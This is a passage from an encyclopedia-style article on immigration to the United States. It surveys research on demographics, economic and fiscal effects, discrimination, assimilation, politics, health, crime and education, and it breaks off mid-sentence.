The Census Bureau estimates the US population will grow from 317 million in 2014 to 417 million in 2060 with immigration, when nearly 20% will be foreign born.[92] A 2015 report from the Pew Research Center projects that by 2065, non-Hispanic whites will account for 46% of the population, down from the 2005 figure of 67%.[93] Non-Hispanic whites made up 85% of the population in 1960.[94] It also foresees the Hispanic population rising from 17% in 2014 to 29% by 2060. The Asian population is expected to nearly double in 2060.[92] Overall, the Pew Report predicts the population of the United States will rise from 296 million in 2005 to 441 million in 2065, but only to 338 million with no immigration.[93]
In 35 of the country's 50 largest cities, non-Hispanic whites were at the last census or are predicted to be in the minority.[95] In California, non-Hispanic whites slipped from 80% of the state's population in 1970 to 42% in 2001[96] and 39% in 2013.[97]
Immigrant segregation declined in the first half of the 20th century, but has been rising over the past few decades. This has caused questioning of the correctness of describing the United States as a melting pot. One explanation is that groups with lower socioeconomic status concentrate in more densely populated area that have access to public transit while groups with higher socioeconomic status move to suburban areas. Another is that some recent immigrant groups are more culturally and linguistically different from earlier groups and prefer to live together due to factors such as communication costs.[98] Another explanation for increased segregation is white flight.[99]
Place of birth for the foreign-born population in the United States
Top ten countries 2015 2010 2000 1990 Mexico 11,643,298 11,711,103 9,177,487 4,298,014 China 2,676,697 2,166,526 1,518,652 921,070 India 2,389,639 1,780,322 1,022,552 450,406 Philippines 1,982,369 1,777,588 1,369,070 912,674 El Salvador 1,352,357 1,214,049 817,336 465,433 Vietnam 1,300,515 1,240,542 988,174 543,262 Cuba 1,210,674 1,104,679 872,716 736,971 Dominican Republic 1,063,239 879,187 687,677 347,858 South Korea 1,060,019 1,100,422 864,125 568,397 Guatemala 927,593 830,824 480,665 225,739 All of Latin America 21,224,087 16,086,974 8,407,837 All Immigrants 43,289,646 39,955,854 31,107,889 19,767,316
Source: 1990, 2000 and 2010 decennial Census and 2015 American Community Survey
Economic
Mexican immigrants march for more rights in Northern California's largest city, San Jose (2006).
A survey of leading economists shows a consensus behind the view that high-skilled immigration makes the average American better off.[100] A survey of the same economists also shows strong support behind the notion that low-skilled immigration makes the average American better off.[101] According to David Card, Christian Dustmann, and Ian Preston, "most existing studies of the economic impacts of immigration suggest these impacts are small, and on average benefit the native population".[102] In a survey of the existing literature, Örn B Bodvarsson and Hendrik Van den Berg write, "a comparison of the evidence from all the studies ... makes it clear that, with very few exceptions, there is no strong statistical support for the view held by many members of the public, namely that immigration has an adverse effect on native-born workers in the destination country."[103]
Overall economic prosperity
Whereas the impact on the average native tends to be small and positive, studies show more mixed results for low-skilled natives, but whether the effects are positive or negative, they tend to be small either way.[104]
Immigrants may often do types of work that natives are largely unwilling to do, contributing to greater economic prosperity for the economy as a whole: for instance, Mexican migrant workers taking up manual farm work in the United States has close to zero effect on native employment in that occupation, which means that the effect of Mexican workers on U.S. employment outside farm work was therefore most likely positive, since they raised overall economic productivity.[105] Research indicates that immigrants are more likely to work in risky jobs than U.S.-born workers, partly due to differences in average characteristics, such as immigrants' lower English language ability and educational attainment.[106] Further, some studies indicate that higher ethnic concentration in metropolitan areas is positively related to the probability of self-employment of immigrants.[107]
Research also suggests that diversity has a net positive effect on productivity[108][109] and economic prosperity.[110][110][111][112][113] A study by Nathan Nunn, Nancy Qian and Sandra Sequeira found that the Age of Mass Migration (1850–1920) has had substantially beneficial long-term effects on U.S. economic prosperity: "locations with more historical immigration today have higher incomes, less poverty, less unemployment, higher rates of urbanization, and greater educational attainment. The long-run effects appear to arise from the persistence of sizeable short-run benefits, including earlier and more intensive industrialization, increased agricultural productivity, and more innovation."[114] The authors also find that the immigration had short-term benefits: "that there is no evidence that these long-run benefits come at short-run costs. In fact, immigration immediately led to economic benefits that took the form of higher incomes, higher productivity, more innovation, and more industrialization."[115]
Research also finds that migration leads to greater trade in goods and services.[116][117][118][119] Using 130 years of data on historical migrations to the United States, one study finds "that a doubling of the number of residents with ancestry from a given foreign country relative to the mean increases by 4.2 percentage points the probability that at least one local firm invests in that country, and increases by 31% the number of employees at domestic recipients of FDI from that country. The size of these effects increases with the ethnic diversity of the local population, the geographic distance to the origin country, and the ethno-linguistic fractionalization of the origin country."[120]
Some research suggests that immigration can offset some of the adverse effects of automation on native labor outcomes in the United States.[121][122] By increasing overall demand, immigrants could push natives out of low-skilled manual labor into better paying occupations.[121][122] A 2018 study in the American Economic Review found that the Bracero program (which allowed almost half a million Mexican workers to do seasonal farm labor in the United States) did not have any adverse impact on the labor market outcomes of American-born farm workers.[123]
Fiscal effects
A 2011 literature review of the economic impacts of immigration found that the net fiscal impact of migrants varies across studies but that the most credible analyses typically find small and positive fiscal effects on average.[124] According to the authors, "the net social impact of an immigrant over his or her lifetime depends substantially and in predictable ways on the immigrant's age at arrival, education, reason for migration, and similar".[124]
A 2016 report by the National Academies of Sciences, Engineering, and Medicine concluded that over a 75-year time horizon, "the fiscal impacts of immigrants are generally positive at the federal level and generally negative at the state and local level."[125] The reason for the costs to state and local governments is that the cost of educating the immigrants' children falls on state and local governments.[126] According to a 2007 literature review by the Congressional Budget Office, "Over the past two decades, most efforts to estimate the fiscal impact of immigration in the United States have concluded that, in aggregate and over the long term, tax revenues of all types generated by immigrants—both legal and unauthorized—exceed the cost of the services they use."[127]
According to James Smith, a senior economist at Santa Monica-based RAND Corporation and lead author of the United States National Research Council's study "The New Americans: Economic, Demographic, and Fiscal Effects of Immigration", immigrants contribute as much as $10 billion to the U.S. economy each year.[128] The NRC report found that although immigrants, especially those from Latin America, caused a net loss in terms of taxes paid versus social services received, immigration can provide an overall gain to the domestic economy due to an increase in pay for higher-skilled workers, lower prices for goods and services produced by immigrant labor, and more efficiency and lower wages for some owners of capital. The report also notes that although immigrant workers compete with domestic workers for low-skilled jobs, some immigrants specialize in activities that otherwise would not exist in an area, and thus can be beneficial for all domestic residents.[129]
Immigration and foreign labor documentation fees increased over 80% in 2007, with over 90% of funding for USCIS derived from immigration application fees, creating many USCIS jobs involving immigration to US, such as immigration interview officials, finger print processor, Department of Homeland Security, etc.[130]
Inequality
Overall immigration has not had much effect on native wage inequality[131][132] but low-skill immigration has been linked to greater income inequality in the native population.[133]
Impact of undocumented immigrants
Research on the economic effects of undocumented immigrants is scant but existing peer-reviewed studies suggest that the effects are positive for the native population[134][135] and public coffers.[127] A 2015 study shows that "increasing deportation rates and tightening border control weakens low-skilled labor markets, increasing unemployment of native low-skilled workers. Legalization, instead, decreases the unemployment rate of low-skilled natives and increases income per native."[136] Studies show that legalization of undocumented immigrants would boost the U.S. economy; a 2013 study found that granting legal status to undocumented immigrants would raise their incomes by a quarter (increasing U.S. GDP by approximately $1.4 trillion over a ten-year period),[137] and 2016 study found that "legalization would increase the economic contribution of the unauthorized population by about 20%, to 3.6% of private-sector GDP."[138]
A 2007 literature by the Congressional Budget Office found that estimating the fiscal effects of undocumented immigrants has proven difficult: "currently available estimates have significant limitations; therefore, using them to determine an aggregate effect across all states would be difficult and prone to considerable error". The impact of undocumented immigrants differs on federal levels than state and local levels,[127] with research suggesting modest fiscal costs at the state and local levels but with substantial fiscal gains at the federal level.[139]
In 2009, a study by the Cato Institute, a free market think tank, found that legalization of low-skilled illegal resident workers in the US would result in a net increase in US GDP of $180 billion over ten years.[140] The Cato Institute study did not examine the impact on per capita income for most Americans. Jason Riley notes that because of progressive income taxation, in which the top 1% of earners pay 37% of federal income taxes (even though they actually pay a lower tax percentage based on their income), 60% of Americans collect more in government services than they pay in, which also reflects on immigrants.[141] In any event, the typical immigrant and his children will pay a net $80,000 more in their lifetime than they collect in government services according to the NAS.[142] Legal immigration policy is set to maximize net taxation. Illegal immigrants even after an amnesty tend to be recipients of more services than they pay in taxes. In 2010, an econometrics study by a Rutgers economist found that immigration helped increase bilateral trade when the incoming people were connected via networks to their country of origin, particularly boosting trade of final goods as opposed to intermediate goods, but that the trade benefit weakened when the immigrants became assimilated into American culture.[143]
According to NPR in 2005, about 3% of illegal immigrants were working in agriculture.[144] The H-2A visa allows U.S. employers to bring foreign nationals to the United States to fill temporary agricultural jobs.[145] The passing of tough immigration laws in several states from around 2009 provides a number of practical case studies. The state of Georgia passed immigration law HB 87 in 2011;[146] this led, according to the coalition of top Kansas businesses, to 50% of its agricultural produce being left to rot in the fields, at a cost to the state of more than $400 million. Overall losses caused by the act were $1 billion; it was estimated that the figure would become over $20 billion if all the estimated 325,000 unauthorized workers left Georgia. The cost to Alabama of its crackdown in June 2011 has been estimated at almost $11 billion, with up to 80,000 unauthorized immigrant workers leaving the state.[147]
Impact of refugees
Studies of refugees' impact on native welfare are scant but the existing literature shows a positive fiscal impact and mixed results (negative, positive and no significant effects) on native welfare.[148][149][150][151] A 2017 paper by Evans and Fitzgerald found that refugees to the United States pay "$21,000 more in taxes than they receive in benefits over their first 20 years in the U.S."[150] An internal study by the Department of Health and Human Services under the Trump administration, which was suppressed and not shown to the public, found that refugees to the United States brought in $63 billion more in government revenues than they cost the government.[151] According to labor economist Giovanni Peri, the existing literature suggests that there are no economic reasons why the American labor market could not easily absorb 100,000 Syrian refugees in a year.[152] Refugees integrate more slowly into host countries' labor markets than labor migrants, in part due to the loss and depreciation of human capital and credentials during the asylum procedure.[153]
Innovation and entrepreneurship
According to one survey of the existing economic literature, "much of the existing research points towards positive net contributions by immigrant entrepreneurs."[154] Areas where immigrant are more prevalent in the United States have substantially more innovation (as measured by patenting and citations).[155] Immigrants to the United States create businesses at higher rates than natives.[156] According to a 2018 paper, "first-generation immigrants create about 25% of new firms in the United States, but this share exceeds 40% in some states."[157] Another 2018 paper links H-1B visa holders to innovation.[158]
Immigrants have been linked to greater invention and innovation in the US.[159] According to one report, "immigrants have started more than half (44 of 87) of America's startup companies valued at $1 billion or more and are key members of management or product development teams in over 70 percent (62 of 87) of these companies."[160] Foreign doctoral students are a major source of innovation in the American economy.[161] In the United States, immigrant workers hold a disproportionate share of jobs in science, technology, engineering, and math (STEM): "In 2013, foreign-born workers accounted for 19.2 percent of STEM workers with a bachelor's degree, 40.7 percent of those with a master's degree, and more than half—54.5 percent—of those with a Ph.D."[162]
The Kauffman Foundation's index of entrepreneurial activity is nearly 40% higher for immigrants than for natives.[163] Immigrants were involved in the founding of many prominent American high-tech companies, such as Google, Yahoo, YouTube, Sun Microsystems, and eBay.[164]
Social
Discrimination
Irish immigration was opposed in the 1850s by the nativist Know Nothing movement, originating in New York in 1843. It was engendered by popular fears that the country was being overwhelmed by Irish Catholic immigrants. On March 14, 1891, a lynch mob stormed a local jail and lynched several Italians following the acquittal of several Sicilian immigrants alleged to be involved in the murder of New Orleans police chief David Hennessy. The Congress passed the Emergency Quota Act in 1921, followed by the Immigration Act of 1924. The Immigration Act of 1924 was aimed at limiting immigration overall, and making sure that the nationalities of new arrivals matched the overall national profile.
Business
A 2014 meta-analysis of racial discrimination in product markets found extensive evidence of minority applicants being quoted higher prices for products.[168] A 1995 study found that car dealers "quoted significantly lower prices to white males than to black or female test buyers using identical, scripted bargaining strategies."[169] A 2013 study found that eBay sellers of iPods received 21 percent more offers if a white hand held the iPod in the photo than a black hand.[170]
Criminal justice system
Research suggests that police practices, such as racial profiling, over-policing in areas populated by minorities and in-group bias may result in disproportionately high numbers of racial minorities among crime suspects.[171][172][173][174] Research also suggests that there may be possible discrimination by the judicial system, which contributes to a higher number of convictions for racial minorities.[175][176][177][178][179] A 2012 study found that "(i) juries formed from all-white jury pools convict black defendants significantly (16 percentage points) more often than white defendants, and (ii) this gap in conviction rates is entirely eliminated when the jury pool includes at least one black member."[177] Research has found evidence of in-group bias, where "black (white) juveniles who are randomly assigned to black (white) judges are more likely to get incarcerated (as opposed to being placed on probation), and they receive longer sentences."[179] In-group bias has also been observed when it comes to traffic citations, as black and white cops are more likely to cite out-groups.[173]
Education
A 2015 study using correspondence tests "found that when considering requests from prospective students seeking mentoring in the future, faculty were significantly more responsive to White males than to all other categories of students, collectively, particularly in higher-paying disciplines and private institutions."[180] Through affirmative action, there is reason to believe that elite colleges favor minority applicants.[181]
Housing
A 2014 meta-analysis found extensive evidence of racial discrimination in the American housing market.[168] Minority applicants for housing needed to make many more enquiries to view properties.[168] Geographical steering of African-Americans in US housing remained significant.[168] A 2003 study finds "evidence that agents interpret an initial housing request as an indication of a customer's preferences, but also are more likely to withhold a house from all customers when it is in an integrated suburban neighborhood (redlining). Moreover, agents' marketing efforts increase with asking price for white, but not for black, customers; blacks are more likely than whites to see houses in suburban, integrated areas (steering); and the houses agents show are more likely to deviate from the initial request when the customer is black than when the customer is white. These three findings are consistent with the possibility that agents act upon the belief that some types of transactions are relatively unlikely for black customers (statistical discrimination)."[182]
A report by the federal Department of Housing and Urban Development where the department sent African-Americans and whites to look at apartments found that African-Americans were shown fewer apartments to rent and houses for sale.[183]
Labor market
Several meta-analyses find extensive evidence of ethnic and racial discrimination in hiring in the American labor market.[168][184][185] A 2016 meta-analysis of 738 correspondence tests—tests where identical CVs for stereotypically black and white names were sent to employers—in 43 separate studies conducted in OECD countries between 1990 and 2015 finds that there is extensive racial discrimination in hiring decisions in Europe and North-America.[185] These correspondence tests showed that equivalent minority candidates need to send around 50% more applications to be invited for an interview than majority candidates.[185][186] A study that examine the job applications of actual people provided with identical résumés and similar interview training showed that African-American applicants with no criminal record were offered jobs at a rate as low as white applicants who had criminal records.[187]
Discrimination between minority groups
Racist thinking among and between minority groups does occur;[188][189] examples of this are conflicts between blacks and Korean immigrants,[190] notably in the 1992 Los Angeles Riots, and between African Americans and non-white Latino immigrants.[191][192] There has been a long running racial tension between African American and Mexican prison gangs, as well as significant riots in California prisons where they have targeted each other, for ethnic reasons.[193][194] There have been reports of racially motivated attacks against African Americans who have moved into neighborhoods occupied mostly by people of Mexican origin, and vice versa.[195][196] There has also been an increase in violence between non-Hispanic whites and Latino immigrants, and between African immigrants and African Americans.[197]
Assimilation
A 2018 study in the American Sociological Review found that within racial groups, most immigrants to the United States had fully assimilated within a span of 20 years.[198] Immigrants arriving in the United States after 1994 assimilate more rapidly than immigrants who arrived in previous periods.[198] Measuring assimilation can be difficult due to "ethnic attrition", which refers to when ancestors of migrants cease to self-identify with the nationality or ethnicity of their ancestors. This means that successful cases of assimilation will be underestimated. Research shows that ethnic attrition is sizable in Hispanic and Asian immigrant groups in the United States.[199][200] By taking account of ethnic attrition, the assimilation rate of Hispanics in the United States improves significantly.[199][201] A 2016 paper challenges the view that cultural differences are necessarily an obstacle to long-run economic performance of migrants. It finds that "first generation migrants seem to be less likely to success the more culturally distant they are, but this effect vanishes as time spent in the USA increases."[202]
Religious diversity
Immigration from South Asia and elsewhere has contributed to enlarging the religious composition of the United States. Islam in the United States is growing mainly due to immigration. Hinduism in the United States, Buddhism in the United States, and Sikhism in the United States are other examples.[203] Whereas non-Christians together constitute only 4% of the U.S. population, they made up 20% of the 2003 cohort of new immigrants.[204]
Since 1992, an estimated 1.7 million Muslims, approximately 1 million Hindus, and approximately 1 million Buddhists have immigrated legally to the United States.[205]
Conversely, non-religious are underrepresented in the immigrant populations. Although "other" non-Christian religions are also slightly more common among immigrants than among U.S. adults—1.9% compared with 1.0%—those professing no religion are slightly under-represented among new immigrants. Whereas 12% of immigrants said they had no religion, the figure was 15% for adult Americans.[204] This lack of representation for non-religious could be related to stigmas around atheists and agnostics or could relate to the need for identity when entering a new country.
Labor unions
The American Federation of Labor (AFL), a coalition of labor unions formed in the 1880s, vigorously opposed unrestricted immigration from Europe for moral, cultural, and racial reasons. The issue unified the workers who feared that an influx of new workers would flood the labor market and lower wages.[206] Nativism was not a factor because upwards of half the union members were themselves immigrants or the sons of immigrants from Ireland, Germany and Britain. However, nativism was a factor when the AFL even more strenuously opposed all immigration from Asia because it represented (to its Euro-American members) an alien culture that could not be assimilated into American society. The AFL intensified its opposition after 1906 and was instrumental in passing immigration restriction bills from the 1890s to the 1920s, such as the 1921 Emergency Quota Act and the Immigration Act of 1924, and seeing that they were strictly enforced.[207][208]
Mink (1986) concludes that the link between the AFL and the Democratic Party rested in part on immigration issues, noting the large corporations, which supported the Republicans, wanted more immigration to augment their labor force.[207]
United Farm Workers during Cesar Chavez tenure was committed to restricting immigration. Chavez and Dolores Huerta, cofounder and president of the UFW, fought the Bracero Program that existed from 1942 to 1964. Their opposition stemmed from their belief that the program undermined U.S. workers and exploited the migrant workers. Since the Bracero Program ensured a constant supply of cheap immigrant labor for growers, immigrants could not protest any infringement of their rights, lest they be fired and replaced. Their efforts contributed to Congress ending the Bracero Program in 1964. In 1973, the UFW was one of the first labor unions to oppose proposed employer sanctions that would have prohibited hiring illegal immigrants.
On a few occasions, concerns that illegal immigrant labor would undermine UFW strike campaigns led to a number of controversial events, which the UFW describes as anti-strikebreaking events, but which have also been interpreted as being anti-immigrant. In 1973, Chavez and members of the UFW marched through the Imperial and Coachella Valleys to the border of Mexico to protest growers' use of illegal immigrants as strikebreakers. Joining him on the march were Reverend Ralph Abernathy and U.S. Senator Walter Mondale.[209] In its early years, the UFW and Chavez went so far as to report illegal immigrants who served as strikebreaking replacement workers (as well as those who refused to unionize) to the Immigration and Naturalization Service.[210][211][212][213][214]
In 1973, the United Farm Workers set up a "wet line" along the United States-Mexico border to prevent Mexican immigrants from entering the United States illegally and potentially undermining the UFW's unionization efforts.[215] During one such event, in which Chavez was not involved, some UFW members, under the guidance of Chavez's cousin Manuel, physically attacked the strikebreakers after peaceful attempts to persuade them not to cross the border failed.[216][217][218]
Political
Immigrant rights march in downtown Los Angeles , California on May Day, 2006.
A Boston Globe article attributed Barack Obama's win in the 2008 U.S. Presidential election to a marked reduction over the preceding decades in the percentage of whites in the American electorate, attributing this demographic change to the Immigration Act of 1965.[33] The article quoted Simon Rosenberg, president and founder of the New Democrat Network, as having said that the Act is "the most important piece of legislation that no one's ever heard of," and that it "set America on a very different demographic course than the previous 300 years."[33]
Immigrants differ on their political views; however, the Democratic Party is considered to be in a far stronger position among immigrants overall.[219][220] Research shows that religious affiliation can also significantly impact both their social values and voting patterns of immigrants, as well as the broader American population. Hispanic evangelicals, for example, are more strongly conservative than non-Hispanic evangelicals.[221] This trend is often similar for Hispanics or others strongly identifying with the Catholic Church, a religion that strongly opposes abortion and gay marriage.
The key interests groups that lobby on immigration are religious, ethnic and business groups, together with some liberals and some conservative public policy organizations. Both the pro- and anti- groups affect policy.[222]
Studies have suggested that some special interest group lobby for less immigration for their own group and more immigration for other groups since they see effects of immigration, such as increased labor competition, as detrimental when affecting their own group but beneficial when affecting other groups.[citation needed]
A 2011 paper found that both pro- and anti-immigration special interest groups play a role in migration policy. "Barriers to migration are lower in sectors in which business lobbies incur larger lobbying expenditures and higher in sectors where labor unions are more important."[222] A 2011 study examining the voting of US representatives on migration policy suggests that "representatives from more skilled labor abundant districts are more likely to support an open immigration policy towards the unskilled, whereas the opposite is true for representatives from more unskilled labor abundant districts."[223]
After the 2010 election, Gary Segura of Latino Decisions stated that Hispanic voters influenced the outcome and "may have saved the Senate for Democrats".[224] Several ethnic lobbies support immigration reforms that would allow illegal immigrants that have succeeded in entering to gain citizenship. They may also lobby for special arrangements for their own group. The Chairman for the Irish Lobby for Immigration Reform has stated that "the Irish Lobby will push for any special arrangement it can get—'as will every other ethnic group in the country.'"[225][226] The irredentist and ethnic separatist movements for Reconquista and Aztlán see immigration from Mexico as strengthening their cause.[227][228]
The book Ethnic Lobbies and US Foreign Policy (2009) states that several ethnic special interest groups are involved in pro-immigration lobbying. Ethnic lobbies also influence foreign policy. The authors write that "Increasingly, ethnic tensions surface in electoral races, with House, Senate, and gubernatorial contests serving as proxy battlegrounds for antagonistic ethnoracial groups and communities. In addition, ethnic politics affect party politics as well, as groups compete for relative political power within a party". However, the authors argue that currently ethnic interest groups, in general, do not have too much power in foreign policy and can balance other special interest groups.[229]
In a 2012 news story, Reuters reported, "Strong support from Hispanics, the fastest-growing demographic in the United States, helped tip President Barack Obama's fortunes as he secured a second term in the White House, according to Election Day polling."[230]
Lately, there is talk among several Republican leaders, such as governors Bobby Jindal and Susana Martinez, of taking a new, friendlier approach to immigration. Former US Secretary of Commerce Carlos Gutierrez is promoting the creation of Republicans for Immigration Reform.[231][232]
Bernie Sanders opposes guest worker programs[233] and is also skeptical about skilled immigrant (H-1B) visas, saying, "Last year, the top 10 employers of H-1B guest workers were all offshore outsourcing companies. These firms are responsible for shipping large numbers of American information technology jobs to India and other countries."[124][234] In an interview with Vox he stated his opposition to an open borders immigration policy, describing it as:
... a right-wing proposal, which says essentially there is no United States ... you're doing away with the concept of a nation-state. What right-wing people in this country would love is an open-border policy. Bring in all kinds of people, work for $2 or $3 an hour, that would be great for them. I don't believe in that. I think we have to raise wages in this country, I think we have to do everything we can to create millions of jobs.[235][236]
April 2018, Trump calls for National Guard at the border to secure the ongoing attempts at a border wall along the United States-Mexico border. According to the LAtimes, "Defense Secretary James N. Mattis has signed an order to send up to 4,000 National Guard troops to the U.S.-Mexico border but barred them from interacting with migrants detained by the Border Patrol in most circumstances".[237]
The caravan of migrants from Central America have reached the United States to seek asylum. The last of the caravan have arrived and are processing as of May 4, 2018.[238] Remarks by Attorney General Sessions have expressed hesitation with asylum seekers. Sessions has stated, "The system is being gamed, there's no doubt about it".[239] This statement implied asylum seekers were attempting to immigrate to the United States for work or various other reasons rather than seeking refuge.
Health
The issue of the health of immigrants and the associated cost to the public has been largely discussed. On average, per capita health care spending is lower for immigrants than it is for native-born Americans.[240] The non-emergency use of emergency rooms ostensibly indicates an incapacity to pay, yet some studies allege disproportionately lower access to unpaid health care by immigrants.[241] For this and other reasons, there have been various disputes about how much immigration is costing the United States public health system.[242] University of Maryland economist and Cato Institute scholar Julian Lincoln Simon concluded in 1995 that while immigrants probably pay more into the health system than they take out, this is not the case for elderly immigrants and refugees, who are more dependent on public services for survival.[243] Immigration itself may impact women's health. A 2017 study found that Latino women suffer higher rates of intimate partner violence (IPV) than native US women. Migration may worsen IPV rates and outcomes. Migration itself may not cause IPV, but it may make it more difficult for women to get help. According to Kim et al., the IPV is usually the result of unequal family structures rather than the process of migration.[244]
Immigration from areas of high incidences of disease is thought to have fueled the resurgence of tuberculosis (TB), chagas, and hepatitis in areas of low incidence.[245] According to Centers for Disease Control and Prevention (CDC), TB cases among foreign-born individuals remain disproportionately high, at nearly nine times the rate of U.S.-born persons.[246][247] To reduce the risk of diseases in low-incidence areas, the main countermeasure has been the screening of immigrants on arrival.[248] HIV/AIDS entered the United States in around 1969, likely through a single infected immigrant from Haiti.[249][250] Conversely, many new HIV infections in Mexico can be traced back to the United States.[251] People infected with HIV were banned from entering the United States in 1987 by executive order, but the 1993 statute supporting the ban was lifted in 2009. The executive branch is expected to administratively remove HIV from the list of infectious diseases barring immigration, but immigrants generally would need to show that they would not be a burden on public welfare.[252] Researchers have also found what is known as the "healthy immigrant effect", in which immigrants in general tend to be healthier than individuals born in the U.S.[253][254] Immigrants are more likely than native-born Americans to have a medical visit labeled uncompensated care.[255]
Crime
There is no empirical evidence that either legal or illegal immigration increases crime in the United States.[11][256] In fact, a majority of studies in the U.S. have found lower crime rates among immigrants than among non-immigrants, and that higher concentrations of immigrants are associated with lower crime rates.[10][12][256] Explanations proposed to account for this relationship have included ethnic enclaves, self-selection, and the hypothesis that immigrants revitalize communities to which they emigrate.[257]
Some research even suggests that increases in immigration may partly explain the reduction in the U.S. crime rate.[258][259][260][261][262] A 2005 study showed that immigration to large U.S. metropolitan areas does not increase, and in some cases decreases, crime rates there.[263] A 2009 study found that recent immigration was not associated with homicide in Austin, Texas.[264] The low crime rates of immigrants to the United States despite having lower levels of education, lower levels of income and residing in urban areas (factors that should lead to higher crime rates) may be due to lower rates of antisocial behavior among immigrants.[265] A 2015 study found that Mexican immigration to the United States was associated with an increase in aggravated assaults and a decrease in property crimes.[266] A 2016 study finds no link between immigrant populations and violent crime, although there is a small but significant association between undocumented immigrants and drug-related crime.[267]
A 2018 study found that undocumented immigration to the United States did not increase violent crime.[268] Research finds that Secure Communities, an immigration enforcement program which led to a quarter of a million of detentions (when the study was published; November 2014), had no observable impact on the crime rate.[269] A 2015 study found that the 1986 Immigration Reform and Control Act, which legalized almost 3 million immigrants, led to "decreases in crime of 3–5 percent, primarily due to decline in property crimes, equivalent to 120,000-180,000 fewer violent and property crimes committed each year due to legalization".[270] According to one study, sanctuary cities—which adopt policies designed to not prosecute people solely for being an illegal immigrant—have no statistically meaningful effect on crime.[271]
One of the first political analyses in the U.S. of the relationship between immigration and crime was performed in the beginning of the 20th century by the Dillingham Commission, which found a relationship especially for immigrants from non-Northern European countries, resulting in the sweeping 1920s immigration reduction acts, including the Emergency Quota Act of 1921, which favored immigration from northern and western Europe.[272] Recent research is skeptical of the conclusion drawn by the Dillingham Commission. One study finds that "major government commissions on immigration and crime in the early twentieth century relied on evidence that suffered from aggregation bias and the absence of accurate population data, which led them to present partial and sometimes misleading views of the immigrant-native criminality comparison. With improved data and methods, we find that in 1904, prison commitment rates for more serious crimes were quite similar by nativity for all ages except ages 18 and 19, for which the commitment rate for immigrants was higher than for the native-born. By 1930, immigrants were less likely than natives to be committed to prisons at all ages 20 and older, but this advantage disappears when one looks at commitments for violent offenses."[273]
For the early twentieth century, one study found that immigrants had "quite similar" imprisonment rates for major crimes as natives in 1904 but lower for major crimes (except violent offenses; the rate was similar) in 1930.[273] Contemporary commissions used dubious data and interpreted it in questionable ways.[273]
Research suggests that police practices, such as racial profiling, over-policing in areas populated by minorities and in-group bias may result in disproportionately high numbers of immigrants among crime suspects.[171][172][274][174] Research also suggests that there may be possible discrimination by the judicial system, which contributes to a higher number of convictions for immigrants.[175][176][177][178][179]
Crimmigration
Crimmigration has emerged as a field in which critical immigration scholars conceptualize the current immigration law enforcement system. Crimmigration is broadly defined as the convergence of the criminal justice system and immigration enforcement,[275] where immigration law enforcement has adopted the "criminal" law enforcement approach. This frames undocumented immigrants as "criminal" deviants and security risks.[276] Crime and migration control have become completely intertwined, so much so that both undocumented and documented individuals suspected of being a noncitizen may be targeted.[276]
Using a "crimmigration" point of thought, César Cuauhtémoc García Hernández[276] explains the criminalization of undocumented immigrants began in the aftermath of the civil rights movement.[276] Michelle Alexander explores how the U.S. criminal justice system is made of "colorblind" policies and law enforcement practices that have shaped the mass incarceration of people of color into an era of "The New Jim Crow"[277] As Alexander and García Hernández state, overt racism and racist laws became culturally scorned, and covert racism became the norm.[276][277] This new form of racism focuses on penalizing criminal activity and promoting "neutral" rhetoric.[277][276]
"Crimmigration" recognizes how laws and policies throughout different states contribute to the convergence of criminal law enforcement and immigration law. For example, states are implementing a variety of immigration related criminal offenses that are punishable by imprisonment. California, Oregon, and Wyoming criminalize the use of fraudulent immigration or citizenship documents.[278] Arizona allows judges to confine witnesses in certain "criminal" cases if they are suspected of being in the U.S. without documentation.[278] The most common violations of immigration law on the federal level are unauthorized entry (a federal misdemeanor) and unauthorized reentry (a federal felony). These "offenses" deemed as "crimes" under immigration law set the tone of "crimmigration" and for what García Hernández refers to as the "removal pipeline" of immigrants.[278]
Some scholars focus on the organization of "crimmigration" as it relates to the mass removal of certain immigrants. Jennifer Chacón finds that immigration law enforcement is being decentralized.[279] Customs and Border Patrol (CBP), Immigration and Customs Enforcement (ICE), and the Department of Homeland Security (DHS) are the central law enforcement agencies in control of enforcing immigration law. However, other federal, state and local law enforcement agencies, such as sheriff's offices, municipal police departments, the Federal Bureau of Investigation (FBI), and the Drug and Enforcement Agency (DEA), aid in immigrant removal.[279] In 1996, Congress expanded power to state and local law enforcement agencies to enforce federal immigration law. These agencies keep people locked up in jails or prison when they receive an "immigration detainer" from ICE,[278] and therefore aid in interior enforcement.[279] In addition, some agencies participate in the State Criminal Alien Assistance Program ("SCAAP"), which gives these agencies financial incentives to cooperate with ICE in identifying immigrants in their custody.[278]
Education
Scientific laboratories and startup internet opportunities have been a powerful American magnet. By 2000, 23% of scientists with a PhD in the U.S. were immigrants, including 40% of those in engineering and computers.[280] Roughly a third of the United States' college and universities graduate students in STEM fields are foreign nationals—in some states it is well over half of their graduate students. On Ash Wednesday, March 5, 2014, the presidents of 28 Catholic and Jesuit colleges and universities, joined the "Fast for Families" movement.[281] The "Fast for Families" movement reignited the immigration debate in the fall of 2013 when the movement's leaders, supported by many members of Congress and the President, fasted for twenty-two days on the National Mall in Washington, D.C.[282]
A study on public schools in California found that white enrollment declined in response to increases in the number of Spanish-speaking Limited English Proficient and Hispanic students. This white flight was greater for schools with relatively larger proportions of Spanish-speaking Limited English Proficient.[99]
A North Carolina study found that the presence of Latin American children in schools had no significant negative effects on peers, but that students with limited English skills had slight negative effects on peers.[283]
Science and engineering
[284] Sculpture honoring Khan at the Willis Tower. Immigrant Fazlur Khan is known for making some very important advancements in skyscraper engineering.Sculpture honoring Khan at the Willis Tower.
In the United States, a significant proportion of scientists and engineers are foreign-born, as well as students in science and engineering programs. However, this is not unique to the US since foreigners make up significant amounts of scientists and engineers in other countries. As of 2011, 28% of graduate students in science, engineering, and health are foreign.[285] The number of science and engineering (S&E) bachelor's degrees has risen steadily over the past 15 years, reaching a new peak of about half a million in 2009. Since 2000, foreign born students in the United States have consistently earned a small share (3%-4%) of S&E degrees at the bachelor's level. Foreign students make up a much higher proportion of S&E master's degree recipients than of bachelor's or associate degree recipients. In 2009, foreign students earned 27% of S&E master's degrees and 33% in doctorate degrees. Significant numbers of foreign born students in science and engineering are not unique to America since foreign students now account for nearly 60% of graduate students in mathematics, computer sciences, and engineering globally. In Switzerland and the United Kingdom, more than 40% of doctoral students are foreign. A number of other countries, including New Zealand, Austria, Australia, Belgium, Canada, and the United States, have relatively high percentages (more than 20%) of doctoral students who are foreign. Foreign student enrollment in the United Kingdom has been increasing. In 2008, foreign students made up 47% of all graduate students studying S&E in the United Kingdom (an increase from 32% in 1998). Top destinations for international students include the United Kingdom (12%), Germany (9%), and France (9%). Together with the U.S., these countries receive more than half of all internationally mobile students worldwide. Although the United States continues to attract the largest number and fraction of foreign students worldwide, its 